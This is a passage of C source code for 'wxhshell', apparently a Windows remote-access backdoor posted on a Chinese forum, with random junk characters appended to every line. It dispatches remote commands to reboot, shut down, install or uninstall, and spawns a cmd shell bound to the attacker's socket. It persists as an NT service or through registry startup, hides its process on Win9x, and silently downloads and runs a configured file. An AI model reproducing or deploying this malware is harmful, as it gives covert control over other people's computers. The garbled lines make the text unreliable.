      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |~=?vw< W  
    break; +i q+  
  } Q%AS ;(d  
  // 安装 am$-sh72  
  case 'i': { EkgN6S`}  
    if(Install()) U(Hq4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b/D9P~cE  
    else zYgK$u^H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j .yr 5%  
    break; l66ipgw_^I  
    } y!{/'{?P  
  // 卸载 40l#'< y;  
  case 'r': { lG[ )8!:+  
    if(Uninstall()) "#eNFCo7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pFv[z':&Q  
    else _ /2 8Cw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aBA#\eV  
    break; [2H(yLwO  
    } :0TSOT9.  
  // 显示 wxhshell 所在路径 t2-zJJf8  
  case 'p': { `$x#_-Hn  
    char svExeFile[MAX_PATH]; qeO6}A"^|  
    strcpy(svExeFile,"\n\r"); 2zrWR%B  
      strcat(svExeFile,ExeFile); /xm} ?t0U  
        send(wsh,svExeFile,strlen(svExeFile),0); ?D$b%G{  
    break; G~$M"@Q7N  
    } 1-Wnc'(OK  
  // 重启 Iz$W3#hi  
  case 'b': { B6!<@* BI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $P}]|/Yb  
    if(Boot(REBOOT)) I>4Tbwy.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]2s Zu7  
    else { {HJ`%xN|  
    closesocket(wsh); Go+,jT-  
    ExitThread(0); DSG +TA"  
    } L4A/7Ep  
    break; /dvnQW4}8  
    } h'q0eqYeu)  
  // 关机 [@?.}!  
  case 'd': { h*X%:UbW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =`.5b:e  
    if(Boot(SHUTDOWN)) rxK[CDM,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '  ^L  
    else { LGg x.Z  
    closesocket(wsh); \w\47/k{  
    ExitThread(0); `&Of82*w  
    } xA1pDrfC/  
    break; ]=XL9MI  
    } WF.$gBH"  
  // 获取shell G;#t6bk  
  case 's': { i$<v*$.o  
    CmdShell(wsh); Ty`=U>K|  
    closesocket(wsh); Q_h+r! b  
    ExitThread(0); f7AJSHe  
    break; R#^pNJN  
  } Dq1XZ%8  
  // 退出 ^>}[[:(6/  
  case 'x': { d1_*!LW$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;? QAPTz  
    CloseIt(wsh); zSufU2  
    break; szs3x-g  
    } RpXGgw  
  // 离开 X1QZEl  
  case 'q': { ] Lft^,7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3T^dgWXEG  
    closesocket(wsh); ~l(tl[  
    WSACleanup(); BJ2W }R  
    exit(1); -.3k vL  
    break; XQ y|t"Vq>  
        } n& &U9sf?  
  } :rc[j@|pH  
  } W 9MZ  
4gt "dfy+  
  // 提示信息 } ZGpd9D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #mxfU>vQ:  
} TmH13N]  
  } AQU: 0  
JNCtsfd  
  return; VQ}3r)ch  
} $F$R4?_  
N2Hb19/k  
// shell模块句柄 o fv 1G=P  
int CmdShell(SOCKET sock) 7u0R=q  
{ Av4E ?@R  
STARTUPINFO si; zhL,BTH  
ZeroMemory(&si,sizeof(si)); 6;V 1PK>9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XmR5dLc8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a$& 6a   
PROCESS_INFORMATION ProcessInfo; <7) 6*u  
char cmdline[]="cmd"; ^C T}i'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P$(}}@  
  return 0; izo $0  
} 1yc@q8  
]iX$p~riH  
// 自身启动模式 _ @76eZd  
int StartFromService(void) EOC"a}Cq-  
{ RjHpC7b*%  
typedef struct wB"Gw` D  
{ OUMr}~/  
  DWORD ExitStatus; 1k i"UF/  
  DWORD PebBaseAddress; @U5>w\  
  DWORD AffinityMask; W{aNS@1  
  DWORD BasePriority; A[a+,TN {  
  ULONG UniqueProcessId; *?Y6qalSy  
  ULONG InheritedFromUniqueProcessId; PCjY,O  
}   PROCESS_BASIC_INFORMATION; "KwKO8f  
}C}_ I:=C  
PROCNTQSIP NtQueryInformationProcess; w7u >|x!  
uD3_'a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LcF3P 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !CKUkoX  
U7?ez  
  HANDLE             hProcess; L~~Yh{<  
  PROCESS_BASIC_INFORMATION pbi; O1,[7F.4g  
3s2M$3r)6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v(~m!8!TI  
  if(NULL == hInst ) return 0; 6Tnzg`0I  
]9Hy "#Fz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ea?.H Rxl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ags`%(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  sd%~pY}  
7/L7L5h<  
  if (!NtQueryInformationProcess) return 0; *_wBV M=2  
:_*Q IyW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4fswx@l  
  if(!hProcess) return 0; `m^OnH  
qZe"'"3M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VWa(@ A  
z^.0eP8\j  
  CloseHandle(hProcess); f'dI"o&^/d  
 Km7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5@ug1F&   
if(hProcess==NULL) return 0; wn&2-m*a  
mZyTo/\0  
HMODULE hMod; wQT'~'kL  
char procName[255]; 6* 7&X#gG  
unsigned long cbNeeded; q0wVV  
(6nw8vQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HenJlo  
~@lNBF  
  CloseHandle(hProcess); F04Etf 2k  
R8l9i2  
if(strstr(procName,"services")) return 1; // 以服务启动 :F&WlU$L  
)w-?|2-w5  
  return 0; // 注册表启动 CCV~nf  
} C#>C59  
tUQ)q  
// 主模块 d/1XL[&  
int StartWxhshell(LPSTR lpCmdLine) c3##:"wr  
{ S J5kA`  
  SOCKET wsl;  s25012  
BOOL val=TRUE; SCij5il%  
  int port=0; 2B7&Ll\>  
  struct sockaddr_in door; )Yml'?V"  
?}[keSEh>  
  if(wscfg.ws_autoins) Install(); zu#o<6E{  
D 3PF(Wx  
port=atoi(lpCmdLine); il~,y8WTU{  
jPfoI-  
if(port<=0) port=wscfg.ws_port; /7^~*  
H;2pk  
  WSADATA data; (&(f`c@I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <T).+ M/  
Cp%|Q.?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ee O{G*pq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W= !f  
  door.sin_family = AF_INET; rAKd f??  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4%TC2Laii  
  door.sin_port = htons(port); N!AFsWV  
;Peyo1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '&d4xc  
closesocket(wsl); Y~Rwsx  
return 1; %[J( ,rm  
} |{ k B`  
q`P:PRgM  
  if(listen(wsl,2) == INVALID_SOCKET) { V~;YV]1Y  
closesocket(wsl); cF6|IlhO  
return 1; =R05H2hs  
} \cG'3\GI  
  Wxhshell(wsl); \1Zf Sc  
  WSACleanup(); qb Q> z+c  
x+pFu5,  
return 0; Ero3A'f  
o#i {/# oF  
} (rJvE*  
&kG<LGXP#  
// 以NT服务方式启动 "q$M\jK#V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  X_lNnk  
{ nB.p}k  
DWORD   status = 0; pfT7  
  DWORD   specificError = 0xfffffff; (I$hw"%&  
AF@C9s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6XP>p$-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tVOx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5M*p1^ >  
  serviceStatus.dwWin32ExitCode     = 0; DsoF4&>g[B  
  serviceStatus.dwServiceSpecificExitCode = 0; <W pz\U  
  serviceStatus.dwCheckPoint       = 0; ?V0IryF;  
  serviceStatus.dwWaitHint       = 0; Oe$C5KA>LW  
Nx99dr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 Qmtb2  
  if (hServiceStatusHandle==0) return;  Dg@6o  
LE;c+(CAU  
status = GetLastError(); qVfOf\x.e  
  if (status!=NO_ERROR) *$QUE0  
{ yZ`\.GgC^&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (~jOtUyT  
    serviceStatus.dwCheckPoint       = 0; WI%,m~  
    serviceStatus.dwWaitHint       = 0; `)'YU^s  
    serviceStatus.dwWin32ExitCode     = status; L,i-T:Z~=  
    serviceStatus.dwServiceSpecificExitCode = specificError; }sFHb[I &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YW*ti|u|w  
    return; C RNO4  
  } vQ;Z 0_  
=6Z 1yw7s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {S?.bT%&  
  serviceStatus.dwCheckPoint       = 0; %lBFj/B  
  serviceStatus.dwWaitHint       = 0; }{$@|6)R   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HkrNt/]  
} BsJClKp/  
uZfo[_g0S  
// 处理NT服务事件,比如:启动、停止 j0J6ySlY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8 =d9*lm  
{ \|Mz'*  
switch(fdwControl) di|l?l^l  
{ Cd4G&(=  
case SERVICE_CONTROL_STOP: O_ ~\$b  
  serviceStatus.dwWin32ExitCode = 0; v"`w'+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sS._N@f  
  serviceStatus.dwCheckPoint   = 0; 7j^,4;  
  serviceStatus.dwWaitHint     = 0; .m .v$(  
  { RW'QU`N[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zR%#Q_  
  } , vWcWT  
  return; /wQDcz  
case SERVICE_CONTROL_PAUSE: {J[0UZ6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #(%6urd  
  break; QgP UP[  
case SERVICE_CONTROL_CONTINUE: ='(:fHhhX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w0pH|$"/P  
  break; 7>#74oy  
case SERVICE_CONTROL_INTERROGATE: d4lEd>Ni  
  break; N)QW$iw9  
}; @sP?@< C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WkT4&|POJ  
} xT%CY(:9X  
)Ipa5i>t  
// 标准应用程序主函数 $(BW |Pc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p &A3l  
{ [L:,A{rve  
0ZO!_3m$r  
// 获取操作系统版本 /0A}N$?>:  
OsIsNt=GetOsVer(); V[#jrwhA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :p89J\  
_f/6bpv  
  // 从命令行安装 bi QDupTz  
  if(strpbrk(lpCmdLine,"iI")) Install(); D_g+O"];P  
[j) :2  
  // 下载执行文件 -{^Gzui  
if(wscfg.ws_downexe) { vForj*Xo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b^0=X!bg  
  WinExec(wscfg.ws_filenam,SW_HIDE); q%nWBmPZ~y  
} {Wt=NI?Ow  
7"1M3P5*8  
if(!OsIsNt) { gkDB8,C<j  
// 如果时win9x,隐藏进程并且设置为注册表启动 XOU 9r(  
HideProc(); 5~v({R.  
StartWxhshell(lpCmdLine); l2i[wc"9  
} Pwf":U)  
else HUZI7rC[=)  
  if(StartFromService()) ^]K_k7`I  
  // 以服务方式启动 ,#nyEE  
  StartServiceCtrlDispatcher(DispatchTable); 3>ytpXUEGx  
else  eGjEO&$  
  // 普通方式启动 *5u0`k^j  
  StartWxhshell(lpCmdLine); 'bTtdFvJ  
q>t#5Z81  
return 0; ^)TZHc2a[  
}
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只看该作者 1 发表于: 2006-10-10
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